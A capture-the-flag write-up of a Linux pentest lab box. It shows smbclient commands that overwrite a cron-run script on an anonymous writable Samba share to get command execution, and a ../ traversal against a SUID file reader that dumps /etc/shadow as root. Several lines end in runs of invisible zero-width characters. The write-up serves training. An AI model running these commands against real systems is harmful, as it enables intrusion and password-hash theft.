← Back to Writeups
CUSTOMMediumPentest

The Last Dance (Последний танец)

XESXOR9/2/20266 min read
#pentest#custom#medium#anonymous_smb_enumeration#writable_share_cron_overwrite#cron_job_rce#suid_binary_abuse#strncmp_prefix_path_traversal#arbitrary_file_read_as_root#multi_part_flag_assembly#linux

The Last Dance (Последний танец)

Platform: hackerlab | Category: Pentest | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-04 | Status: Solved Techniques: anonymous_smb_enumeration, writable_share_cron_overwrite, cron_job_rce, suid_binary_abuse, strncmp_prefix_path_traversal, arbitrary_file_read_as_root, multi_part_flag_assembly

Summary

Task: pentest box hosting a fake DDoS-for-hire site, foothold via an anonymous writable Samba share holding a cron-executed monitoring script. Solution: overwrite the cron script for RCE as alison, then abuse a SUID-root binary with a strncmp prefix check (no realpath) for path-traversal arbitrary file read to recover both flag halves.

The Last Dance (Последний танец) — HackerLab

Description

ShadowStorm — это скрытый киберпреступный сервис, предлагающий DDoS-атаки на заказ для устранения конкурентов. Их деятельность угрожает бизнесу по всему миру. Задача: проникнуть в их инфраструктуру, найти уязвимости и получить доказательства их деятельности.

English summary: ShadowStorm is a covert cybercriminal service offering DDoS-for-hire attacks to eliminate competitors. The objective is to penetrate their infrastructure, find vulnerabilities, and obtain evidence of their operations. Target is 192.168.2.215 (over VPN), host lastdance.cdb, running Alpine Linux 6.12.33-0-lts x86_64. The flag is split into two halves and, read as a sentence, literally describes the intended attack chain: "a bit of rabbit hole and a lot of cron tasks". ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reconnaissance

Port scan

bash
nmap -F -T4 -Pn 192.168.2.215

Open ports:

  • 22/tcp ssh (intermittently filtered)
  • 53/tcp dns (flaky/filtered)
  • 80/tcp http — Apache/2.4.63 (Unix)
  • 139/tcp & 445/tcp SMB (Samba)

Ports 22 and 53 were unreliable; the real attack surface was HTTP + SMB.

HTTP enumeration

Apache serves a static "ShadowStorm" DDoS-for-hire site: index.html, about.html, contacts.html, pricing.html. The contacts page leaks ICQ 6661337 and Telegram @shadowstorm1337 (flavor only). The path /orders/ has an Apache directory listing exposing order1.txt and order2.txt (placeholder content "Order 1" / "Order 2"). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SMB enumeration

bash
smbclient -L //192.168.2.215 -N
smbclient //192.168.2.215/public -N -c "ls"

An anonymous share public is exposed. It contains a monitoring script checkOrders.sh:

bash
#!/bin/bash
dk="/var/www/lastdance/htdocs/orders/"
count=$(find $dk -type f -print)
echo
 echo "ShadowStorm Order Monitor"
echo "Detected $count file(s) in $dk"
echo "Time: $(date)"

The share is writable (confirmed by uploading a test file). The script references the web orders/ directory, suggesting an automated job runs it periodically. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploitation

Step 1 — Confirm the share is not the web root (dead end)

An uploaded test file (smbtest.txt) returned 404 at /, /orders/, /public/, and /files/. The SMB share is not mapped to the Apache document root, so direct webshell upload is impossible. This eliminates the obvious vector and points toward a cron-driven execution of the script instead.

Step 2 — Cron abuse → RCE as alison

Hypothesis: a cron job periodically executes checkOrders.sh from the writable share. Overwriting the script via SMB should yield command execution. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The script's writable directory is unknown at first, so the payload self-locates using $(dirname "$0") and writes output next to itself, which is then readable back over SMB:

checkOrders.sh (payload version, checkOrders_payload.sh):

bash
#!/bin/sh
DIR="$(cd "$(dirname "$0")" && pwd)"
if [ -f "$DIR/cmd.sh" ]; then
  sh "$DIR/cmd.sh" > "$DIR/result.txt" 2>&1
  chmod 666 "$DIR/result.txt" 2>/dev/null
fi

This turns the share into a generic command runner: upload an arbitrary cmd.sh, wait one cron cycle (~60s), then read result.txt over SMB. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
# upload payload + command, wait, read result
smbclient //192.168.2.215/public -N -c "put checkOrders_payload.sh checkOrders.sh"
smbclient //192.168.2.215/public -N -c "put cmd.sh cmd.sh"
sleep 65
smbclient //192.168.2.215/public -N -c "get result.txt -"

Within ~60s result.txt appeared → RCE confirmed. Output revealed:

  • user uid=1000(alison)
  • host lastdance.cdb, Alpine Linux
  • script directory /srv/samba/share (the share is drwxrwxrwx, owned root)
  • no sudo binary present ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The responsible cron line (read later) lives in alison's crontab:

* * * * * /bin/sh /srv/samba/share/checkOrders.sh

Operational gotchas:

  • Alpine uses busybox sh; the original #!/bin/bash fails in the cron PATH (bash: not found). Use sh.
  • Files written by cron end up owned by nobody/alison, so re-put over an existing file throws NT_STATUS_ACCESS_DENIED. Always del the stale cmd.sh/result.txt before re-uploading.

Step 3 — First flag half (low-priv read)

Enumeration as alison found a root-owned, world-readable file: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

/home/alison/first_part  (29 bytes, mode 0444)
=> CODEBY{REDACTED

SUID binaries discovered: /bin/bbsuid, /usr/sbin/suexec, and a custom /usr/sbin/sourcesViewer.

Step 4 — SUID path-traversal privesc → arbitrary read as root (second flag half)

/usr/sbin/sourcesViewer is -rwsr-xr-x root root, a setuid ELF (PIE, not stripped, built from sourcesViewer.c). It prints a file's contents, defaulting to /var/www/lastdance/htdocs/index.html.

strings revealed the relevant logic and messages:

  • functions: fopen, strncmp, fgetc, fprintf, putchar
  • "Error: Invalid path. Must start with %s"
  • "=== File content: %s ===" ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: the program validates the argument with a strncmp prefix check against /var/www/lastdance/htdocs/ and then fopens the raw path with no realpath/canonicalization. A ../ traversal that still begins with the required prefix bypasses the check entirely.

Exploit — satisfy the prefix, then traverse to the filesystem root:

bash
B="/var/www/lastdance/htdocs/../../../../"
/usr/sbin/sourcesViewer "${B}etc/shadow"   # dumps /etc/shadow as root

This dumped /etc/shadow (root + alison $6$ sha512crypt hashes), proving arbitrary file read as root. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The second flag-part filename was not obvious (flag, root.txt, second_part, etc. did not exist; alison cannot list /root). Brute-forcing candidate names through the SUID reader hit:

bash
/usr/sbin/sourcesViewer "${B}root/last_part"
=> REDACTED}

Step 5 — Flag assembly

  • first_part (/home/alison/first_part): CODEBY{REDACTED
  • last_part (/root/last_part via SUID traversal): REDACTED}

Dead ends / what didn't work

  • The anonymous SMB share is not the Apache web root — uploaded files are never served by HTTP, so no direct webshell.
  • DNS (53) and SSH (22) were flaky/filtered and not part of the solution path.
  • Writing cron output into the web /orders/ directory failed (alison lacks write there) — pivot to writing next to the script inside the share instead.
  • Guessing obvious /root flag filenames (flag, root.txt, second_part, ...) failed; the correct name was /root/last_part, found by brute-forcing candidate names through the SUID reader. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key takeaways / indicators

Use this attack chain when:

  • An anonymous, writable Samba share contains a shell script that looks like it is periodically executed (monitoring/cron job pattern).
  • A cron job runs a script from a writable location — overwrite it for RCE; self-locate with $(dirname "$0") and exfil output back through the same share.
  • On Alpine/busybox, use sh not bash, and delete stale files before re-uploading over SMB (ownership-based NT_STATUS_ACCESS_DENIED).
  • A SUID-root file-reader validates input with a strncmp prefix check but never canonicalizes the path (realpath) — bypass with ../ traversal that keeps the required prefix for arbitrary read as root.
  • The flag is split into multiple parts across privilege levels (/home/<user> for the low-priv half, /root for the root-only half). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍